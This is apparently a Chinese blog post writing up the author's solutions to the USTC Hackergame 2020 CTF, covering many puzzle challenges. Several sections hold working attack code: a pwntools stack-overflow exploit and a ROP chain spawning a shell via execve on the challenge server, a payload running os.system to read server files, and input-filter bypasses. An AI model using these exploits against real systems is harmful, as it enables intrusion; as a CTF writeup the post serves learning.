Hackergame 2020 Writeup

微信扫一扫,分享到朋友圈

Hackergame 2020 Writeup

最近一周咱参加了USTC的 Hackergame 2020
。由于正好之前的Deadline清完了,而且听说这个比赛新人友好+时间长,于是咱就来了。整体比赛感觉题目出的难度梯度确实很合理,从简单到难都有,而且很多难题也是偏脑洞的,可以通过一段时间的学习解出。最终排名虽然一度进入前10,但是最后一小时还是掉出了前10(屯Flag的dalao们太强了,垂直上分 老拜登了
),终榜Rank11,算是一点遗憾吧哈哈。


话说回来,既然参加了比赛,就不能放过这个水blog的机会。且容我用Writeup水一篇blog~

签到题就是一个前端验证的题目,简单修改前端页面元素就可以。


当然也可以修改url中的 number
参数,而且多填几个确实会给好多个flag(

虽然多个flag都是同一个

猫咪问答++

这题目有两个难点,一个就是第一问的哺乳动物数量(搜索真的太麻烦了!):

1. 以下编程语言、软件或组织对应标志是哺乳动物的有几个?
Docker,Golang,Python,Plan 9,PHP,GNU,LLVM,Swift,Perl,GitHub,TortoiseSVN,FireFox,MySQL,PostgreSQL,MariaDB,Linux,OpenBSD,FreeDOS,Apache Tomcat,Squid,openSUSE,Kali,Xfce.

另一个就是 中国科学技术大学西校区图书馆正前方(西南方向) 50 米 L 型灌木处共有几个连通的划线停车位?
了,也不知道是什么人才出的题目。而且有一个坑点,就是百度地图俯视角标出的车位数量是错的

你们这个是什么地图啊,害人不浅呐

必须在街景才能看到正确的数量。全部题目的答案如下,基本都可以通过搜索引擎搜索得到:

“建议身临其境”

全部的答案如下:

  1. 12(大概是Docker、Golang、Plan 9、GNU、Perl、FireFox、MySQL、PostgreSQL、MariaDB、Apache Tomcat、Xfce、FreeDOS)
  2. 256(参阅: https://tools.ietf.org/html/rfc1149
  3. 9(TEEWORLDS)
  4. 9(见上图)
  5. 17098

由于第一个很容易数错,所以其他几个空可以使用jQuery快速填写

$("[name=q2]").val("256");
$("[name=q3]").val("9");
$("[name=q4]").val("9");
$("[name=q5]").val("17098");

同样也是一道前端题,嘛,当然最简单的解法 也许是最难
就是手工玩了(逃。打开Chrome调试工具,在Source选项卡可以看到页面的源码,基本没有经过混淆。阅读后,可以在 html_actuator.js
发现请求Flag的逻辑,直接按着请求就行。


一闪而过的 Flag

题目是一个Windows控制台程序,由于打开立刻会关闭窗口因此难以阅读Flag。在Windows Terminal或其他终端打开程序即可。

从零开始的记账工具人

题目是一个含大写数字和物品数量的Excel,要求计算购买总金额。由于总量较大,没有办法简单通过人工转换,所以需要写脚本解析。我这里采用的方式是将题目转换为csv格式的文件(不转换也行,可以用pandas读),然后写Python脚本解析。说实话,这题目的格式挺复杂,搜到的转换函数都不太管用,最后还是自己写了。另外还有一点就是,由于浮点数精度有限,这题还需要×100转化为整数计算。

with open('./hg/bills.csv', 'r') as f:
data = f.readlines()
total = 0
m = "零壹贰叁肆伍陆柒捌玖"
m_map = {k:m.index(k) for k in m}
b_map = {"佰":10000,"拾":1000,"元":100,"角":10,"分":1}
def trans(s):
curm = None
curb = None
cur = 0
for ch in s:
if ch == '整':
continue
if ch in m:
curm = m_map[ch]
elif ch in b_map.keys():
curb = b_map[ch]
if curb is not None:
if curm is None:
if ch == '元':
curm = 0
else:
curm = 1
cur += curm * curb
curm = curb = None
return cur
data = data[1:]
for line in data:
s, cnt = line.split(",")
cur = trans(s)
total += int(cur) * int(cnt)
print(total / 100)

超简单的世界模拟器

这题是模拟康威生命游戏(Conway’s Game of Life),需要摧毁游戏中两个特定的方块,并且只可以在左上角15*15的游戏区域内绘制。第一次见到Conway’s Game of Life还是网鼎杯的诡异二维码,当时没能看出题目的提示。事实上这一题在康威生命游戏中有个特定的门类GUN,是专门设计能摧毁一块区域的结构的。第一题可以用Wikipedia的Glider解,至于第二题……我一开始在现有结构中试了半天,甚至尝试过通过反弹产生Glider,但是最后还是通过随机输入解的(囧)。

从零开始的火星文生活

这题和我之前校赛出的题目撞了hhhh(我出的可以参见: SpiritCTF 2020 – Misc Official Writeup 锟斤拷
)。同样也是先按照题目使用GBK编码。之后考虑熵可大致判断是文本,因此直接暴力尝试不同编码解码即可。解码所用的编码为GB18030。


自复读的复读机

反向复读

题目要求输入一串自复读的Python代码,如果想不出来……那当然是Google一个了(逃。搜索“Python print itself”,在 第一条搜索结果
中可以找到这段代码

s = r"print 's = r\"' + s + '\"' + '\nexec(s)'"
exec(s)

不过很显然,它不仅有换行,而且语法也是Python 2的,所以稍加调整就可以得到Python 3的版本

s = r"print('s = r\"' + s + '\"; exec(s)')"; exec(s)

由于题目要求反向输出,因此在 print
时还需要反向。此外,还有一个坑就是 print
默认会在行末加换行符,需要通过 end
参数绕开。最终Payload为

s = r"print(('s = r\"' + s + '\"; exec(s)')[::-1],end='')"; exec(s)

哈希复读

哈希复读和逆序同理,但是有一个问题,就是计算sha256需要导入 hashlib
库。这里就用到了Python的 BUG
特性 __import__
进行行内导入。因此最后的Payload为

s = r"print(__import__('hashlib').sha256(('s = r\"' + s + '\"; exec(s)').encode()).hexdigest(), end='')"; exec(s)

#多说一句

虽然本身不是沙箱逃逸题,但是你其实可以读取一些题目文件 好家伙,直接偷题

__import__("os").system('cat checker.py')

不过由于用户是 nobody
,所以不能直接读取flag文件 也不能搅屎

233 同学的字符串工具

字符串大写工具

题目首先正则过滤掉了大小写的 FLAG
,然后又希望 str.upper
的输出是 FLAG

r = re.compile('[fF][lL][aA][gG]')
if r.match(s):
print('how dare you')
elif s.upper() == 'FLAG':
print('yes, I will give you the flag')
print(open('/flag1').read())

在正则表达式正确的情况下,我们只能合理怀疑是 upper
出了问题。但是实际上相关资料少得可怜,源码也看不出什么端倪,所以想到直接爆破

for i in range(1 + 0x110000): # chr 最大值
s = chr(i)
if s.upper() != s.title():
print(s)

然后结果中可以找到一个诡异的输出
,于是拼起来就得到了payload: flag
。而且 StackOverflow
确实能查到相关的提问。实际上,这个字符是拉丁文小型连字( U+FB02
),其标准的Case Folding就是 0066 006C
(对应ASCII的 f
l
),所以Python的处理实际上没什么问题。

编码转换工具

第二题类似第一题,就是第二个条件变更为以UTF-7解码。这里的考察点是UTF-7编码,UTF-7编码本质上就是用Base64编码非ASCII(其实是ASCII的子集)字符。因此大部分的实现在解码过程中基本都是直接解码Base64,而这就会导致原本ASCII的字符有了两种表示,由此可以完成绕过。

对于字符 f
,其ASCII码为 0b0000000001100110
,六个一组可以分为 [0b000000, 0b000110, 0b011000]
,查表得到 'A', 'G', 'Y'
。因此最终的Payload为: +AGY-lag

233 同学的 Docker

这题考察的是Docker的镜像(IMAGE)。这里需要一个前置知识,为了节省空间,Docker镜像实际是分层存储的,每层仅仅存放了有差异的文件。

Docker容器的文件结构

而Dockerfile中的每一行都会创建一个容器层,因此只需要找到容器在flag删除之前的那一层的文件就可以找到flag的内容。

# 拖拽镜像
docker pull 8b8d3c8324c7/stringtool
# 查看Overlay位置
docker info
# 进入对应文件夹(需要Root)
cd /var/lib/docker/overlay2
# 查找flag文件
find . -iname flag.txt
# 输出内容,注意其中一个是无法输出的
cat ./450dde13d1324a35c16113e8ebec6e554f219b71f4f473cbb5612f23ab12c3be/diff/code/flag.txt

从零开始的 HTTP 链接

这题是字面意思,就是使用HTTP连接题目服务器的0号端口。所以手动操作Socket

from socket import *
sock = socket()
sock.connect(("202.38.93.111", 0))
sock.send("GET / HTTP/1.1\r\nHost: 202.38.93.111:0\r\n\r\n".encode())
bin = sock.recv(4096)
while bin:
print(bin.decode())
bin = sock.recv(4096)

注意,似乎macOS底层限制没法连接0号端口。此外,由于我本地开启了透明代理,而相关工具不支持0号端口,搞得我一直以为哪里写错了……

连接上之后发现坑爹事儿:页面是WebSocket通信的。摆明就是不建议手写嘛!所以就Google了一个端口转发的 Python脚本
,改改地址(我还加了一大堆 try/except
鲁棒!妥妥的鲁棒
)然后用浏览器打开就行了。

来自一教的图片

题目提到了 傅里叶光学
实验,而且文件名是 4f_system_middle
,所以我真的去找了一个 4f光学系统的模拟
……然后粗暴替换每一步的输入为图片,结果真被我做出来了(逃。最后的代码简化如下

img = double(imread('4f_system_middle.bmp'));
img_fft = fftshift(fft2(fftshift(img)));
colormap(gray(256))
imagesc(log(abs(img_fft))), axis image

结果就是一个fft啦!而且结果还挺难认的,有些字符直接跑到左边去了。


超简陋的 OpenGL 小程序

打开程序发现Flag的模型前面有一堵墙,程序Shader就是简单实现了Phong光照(其实缺了高光分量)( 不懂Phong光照的可以看我OpenGL笔记的光照篇,哦我还没写出来,那没事了
)。由于懒得逆向,而且Shader程序是文本形式的GLSL,所以不妨直接改一改Shader。由于墙本质是一系列顶点,所以我们只需要判断墙的顶点,然后把它移开就行。

#version 330 core
layout (location = 0) in vec3 aPos;
layout (location = 1) in vec3 aNormal;
out vec3 FragPos;
out vec3 Normal;
uniform mat4 model;
uniform mat4 view;
uniform mat4 projection;
void main()
{
vec3 pos = aPos;
if (pos[2] > 0.1) {
pos[0] += 1;
pos[1] += 1;
pos[2] += 2;
}
FragPos = vec3(model * vec4(pos, 1.0));
Normal = aNormal;
gl_Position = projection * view * vec4(FragPos, 1.0);
}

pos[2]
对应的就是z轴坐标,具体的值需要多试几次,不然效果会很古怪。

大概有那么怪

生活在博弈树上

题目内容NETA自2020浙江高考满分作文《生活在树上》,老八股了。

始终热爱大地

题目程序实现了一个井字棋的博弈树。而由于服务器是先手,因此正常情况下本题是没有办法下赢电脑的。考虑到题目给了binary,所以这题本质还是pwn。第一次在正赛打pwn,有点小激动。观察源码,可以找到危险函数 gets
,可以确定是一个ROP。


所以目标是覆盖到 success
,使程序成功退出。把binary丢进cutter,与源码对应就可以找到 success
在栈上的位置。


可以看到 success
buffer
的偏移是 0x90 - 0x1
,因此直接覆盖过去。此外还要注意一点就是,因为覆盖成功后需要进入判断,所以覆盖的时候要使用数字并且该格子需要没被占领,因此直接盖 '1'
即可。Exp如下

from pwn import *
token = "Your token"
real = True
if real:
sh = remote("202.38.93.111", 10141)
sh.sendline(token.encode())
else:
sh = process("./hg/tictactoe/tictactoe")
sh.recvuntil("such as (0,1):")
payload = b"1" * (0x90 - 0x1) + b'\x01'
sh.sendline(payload)
sh.interactive()

升上天空

既然是ROP,不难想到第二题就是Get Shell了。Get Shell的目标很明确,就是调用系统调用。这里就是 59
号系统调用 execve
。因此需要填写这几个寄存器

NR syscall name references %rax arg0 (%rdi) arg1 (%rsi) arg2 (%rdx)
59 execve man/
cs/
0x3b const char *filename const char *const *argv const char *const *envp

填写寄存器的通常方法是找一些可以利用的代码段(叫做Gadget),这些Gadget一般包括寄存器修改,最后以 ret
结尾(用来返回栈,继续执行下一个Gadget)。比如 add rax, 1 ; ret
就是给 rax
寄存器+1的Gadget。这里可以使用工具 ROPgadget
来查找可用的Gadget,由于输出较多,因此需要手动 grep
一下结果。比如对于填写调用号寄存器 rax
,我们可以查找如下Gadget

$ ROPgadget --binary ./tictactoe | grep 'add rax'
0x0000000000463af0 : add rax, 1 ; ret
$ ROPgadget --binary ./tictactoe | grep 'xor rax'
0x0000000000439070 : xor rax, rax ; ret

xor rax, rax ; ret
可以用来清空 rax
寄存器的内容,之后重复59次 add rax, 1 ; ret
就可以使 rax
寄存器的内容变为59。而对于
rdi

这种指针类型的参数,我们可以直接在栈上布置内容,然后使用 rsp
寄存器的值作为指针位置(比如 push rsp; ret
加上 pop rdi; ret
)。当然也可以寻找一个有读写权限的段(比如 .data
),然后将值写入,比如栈上布置

0x0000000000407228 -> pop rsi ; ret,相当于 rsi = .data段地址
0x00000000004a60e0 -> .data段地址
0x000000000043e52c -> pop rax ; ret,相当于 rax = '/bin//sh'
hex('/bin//sh')
0x000000000046d7b1 -> mov qword ptr [rsi], rax ; ret,相当于 *rsi = rax

由于这种布置比较简单,题目也没加设限制,所以可以直接使用ROPgadget的ropchain选项自动生成ROP链。最终Exp如下

from pwn import *
token = "Your token"
real = True
if real:
sh = remote("202.38.93.111", 10141)
sh.sendline(token.encode())
else:
sh = process("./hg/tictactoe/tictactoe")
# ROPgadget --binary ./tictactoe --ropchain
from struct import pack
# Padding goes here
p = b''
p += pack('<Q', 0x0000000000407228) # pop rsi ; ret
p += pack('<Q', 0x00000000004a60e0) # @ .data
p += pack('<Q', 0x000000000043e52c) # pop rax ; ret
p += b'/bin//sh'
p += pack('<Q', 0x000000000046d7b1) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000407228) # pop rsi ; ret
p += pack('<Q', 0x00000000004a60e8) # @ .data + 8
p += pack('<Q', 0x0000000000439070) # xor rax, rax ; ret
p += pack('<Q', 0x000000000046d7b1) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x00000000004017b6) # pop rdi ; ret
p += pack('<Q', 0x00000000004a60e0) # @ .data
p += pack('<Q', 0x0000000000407228) # pop rsi ; ret
p += pack('<Q', 0x00000000004a60e8) # @ .data + 8
p += pack('<Q', 0x000000000043dbb5) # pop rdx ; ret
p += pack('<Q', 0x00000000004a60e8) # @ .data + 8
p += pack('<Q', 0x0000000000439070) # xor rax, rax ; ret
p += pack('<Q', 0x0000000000463af0) * 59 # add rax, 1 ; ret
p += pack('<Q', 0x0000000000402bf4) # syscall
sh.recvuntil("such as (0,1):")
payload = b"1" * (0x90 - 0x1) + b'\x01' + b"1" * 8 + p
sh.sendline(payload)
sh.interactive()

来自未来的信笺

本题题目为一系列二维码,构造方式类似于Github北极存档计划。所以逐一扫码后拼接解压即可得到Flag。吐槽下Python的二维码库,基本都没法用(比如zxing的Python bind)。

#!/bin/sh
for i in *.png; do
zbarimg --raw --oneshot -Sbinary "$i" > "${i%.png}.bin"
done
cat *.bin >> merged.bin

狗狗银行

题目允许开储蓄卡、信用卡,并且信用卡可以给储蓄卡转账,每日产生消费和利息。简单实验发现题目存在浮点数四舍五入,所以可以利用这一点,给储蓄卡转账167元(因为 167 * 0.003 = 0.501
会被四舍五入为1)以利用。假如开100张,每日能赚100,同时需要还83( 167 * 100 * 0.005 = -83.5
),每日还有额外开销10。可以看到最终还是会多的,但是由于欠款越来越多,所以100张还是无法赚取1000,最后解题使用了500张卡。可以在控制台用Fetch API简化开卡流程。

// 开500张,注意先手动开一张信用卡
for (i = 0; i < 500; i++) {
fetch("http://202.38.93.111:10100/api/create", {
method: 'POST',
body: JSON.stringify({type: "debit"}),
headers: new Headers({
"Content-Type": "application/json;charset=UTF-8",
"Authorization": "Bearer Your token"
})
})
}
// 转账
for (i = 3; i <= 502; i++) {
fetch("http://202.38.93.111:10100/api/transfer", {
method: 'POST',
body: JSON.stringify({
amount: 167,
dst: i,
src: 2
}),
headers: new Headers({
"Content-Type": "application/json;charset=UTF-8",
"Authorization": "Bearer Your token"
})
})
}
// 然后就嗯点就行了

超基础的数理模拟器

题目是真的朴实无华且枯燥,就是嗯解400道定积分。听说还有直播手算的dalao,几小时就做完了。然而咱数理基础并不是很扎实,所以只得偷鸡用脚本跑。一开始我用了 Sympy
尝试求解,发现大量失败,所以我就放弃自己解了。结果后来听说用 numpy
就能出数值解,囧。

我最终是使用了 微软计算器
的API,直接读取Latex格式公式计算。虽然十几次才能算一个,但是挂一晚上也够了(逃。此外就是还需要注意Session的问题,所以需要维护一个Cookie Jar。最后Exp脚本如下,感谢M$爸爸没Ban我IP

import requests
import re
from bs4 import BeautifulSoup
import pickle
import os
ret_re = re.compile("approx\\s([0-9\\.]+)")
session = requests.session()
ua = 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36'
def load_base_cookie():
url = "http://202.38.93.111:10190/login?token=Your%20token"
headers = {
'User-Agent': ua
}
session.request("GET", url, headers=headers)
assert len(session.cookies) > 0
def load_cookie_from_file():
if os.path.exists("./cookies"):
print("从文件恢复Cookie")
with open('./cookies', 'rb') as f:
session.cookies = pickle.load(f)
else:
print("载入新Cookie")
load_base_cookie()
def save_cookie():
with open('./cookies', 'wb') as f:
pickle.dump(session.cookies, f, 0)
def solve(latex : str):
url = "https://www.bing.com/cameraexp/api/v1/solvelatex"
latex = latex.replace("\\", "\\\\")
payload = "{\n    \"latexExpression\": \"" + latex \
+ "\",\n    \"clientInfo\": {\n        \"platform\": \"web\",\n        \"mkt\": \"zh\",\n        \"skipGraphOutput\": true,\n        \"skipBingVideoEntity\": true\n    },\n    \"customLatex\": \"" + \
latex + "\",\n    \"showCustomResult\": false\n}"
headers = {
'Content-Type': 'application/json',
'Cookie': 'Your cookie',
'User-Agent': ua
}
response = requests.request("POST", url, headers=headers, data = payload)
data = response.json()
data = data['results'][0]['tags'][0]['actions'][0]
print("取得返回结果:", repr(data)[:70])
groups = ret_re.findall(data['customData'])
ret : str = groups[0]
point_at = ret.index(".")
decimals = len(ret) - point_at - 1
if decimals > 6:
ret = ret[0:point_at + 6 + 1]
else:
ret += '0' * (6 - decimals) # 是不是要补0?
return ret
def get_quest():
try:
url = "http://202.38.93.111:10190"
payload = {}
headers = {
'User-Agent': ua
}
response = session.request("GET", url, headers=headers, data = payload)
html = response.text
soup = BeautifulSoup(html, 'html.parser')
num = soup.find(class_='cover-heading')
formula = soup.find("center")
save_cookie()
return num.get_text(), formula.get_text().replace("$", "").replace("\n", "")
except Exception as e:
print("获得题目错误:", e)
return None, None
def submit_ans(ans, finish):
url = "http://202.38.93.111:10190/submit"
payload = "ans=" + ans
headers = {
'Content-Type': 'application/x-www-form-urlencoded',
'User-Agent': ua
}
response = session.request("POST", url, headers=headers, data = payload)
html = response.text
save_cookie()
if finish:
with open('./result_page', 'w') as f:
f.write(html)
print("保存结果成功")
check = '答案正确' in html
return check
def auto_solve():
finish = False
while True:
try:
num, latex = get_quest()
if int(num.replace("题", "")) <= 1:
finish = True
print("得到题目:", num, ";内容:", latex)
ans = solve(latex)
print("解出答案", num, ":", ans)
ret = submit_ans(ans, finish=True)
print("回答情况:", ret)
if finish:
print("整完噜~")
break
except Exception as e:
print("解题失败", num)
continue
def solve_prompt():
while True:
latex = input("输入题目:")
try:
ans = solve(latex)
print("解出答案:", ans)
except Exception as e:
print("解题失败")
load_cookie_from_file()
auto_solve()
#solve_prompt()

永不溢出的计算器

WIP

普通的身份认证器

WIP

×超精巧的数字论证器

写了个脚本,但是要跑一天……懒得再写并行跑的脚本了,遂放弃。

×超自动的开箱模拟器

数学太难了,咱只会BF,那算法去哪儿领(

室友的加密硬盘

WIP

超简易的网盘服务器

WIP

超安全的代理服务器

找到 Secret

WIP

入侵管理中心

WIP

×证验码

我的思路是按照字体计算黑色像素,之后根据图片的黑色像素数量还原。但是干扰线实在太烦人了,在没有干扰线的情况下勉强能做,加了干扰线结果就偏好远。干扰线平均会去掉200左右个像素点,尝试了整数线性规划但是以失败告终。

×动态链接库检查器

大概是 CVE-2019-1010023
复现吧,但是CVE好长,不想看……

超精准的宇宙射线模拟器

WIP

×超迷你的挖矿模拟器

WIP

×Flag 计算机

DOS逆向,但是咱没有调试环境啊(泪目)。似乎是一个PRNG,cutter给了F5,但是结果不太能看,16位程序咱也不熟悉。

×中间人

完全不会。

不经意传输

解密消息

WIP

×攻破算法

盲猜论文复现,但是论文比CVE还长,不想看……

感谢JLU@NSA的各位dalao们对撰写这篇Blog的帮助。

发货日期显示海蓝色iPhone12 Pro系列似乎是苹果今年最受欢迎的机型

上一篇

李楠:如果是我会砍掉iPhone 12 mini 网友:你在教库克做产品?

下一篇

你也可能喜欢

Hackergame 2020 Writeup

长按储存图像,分享给朋友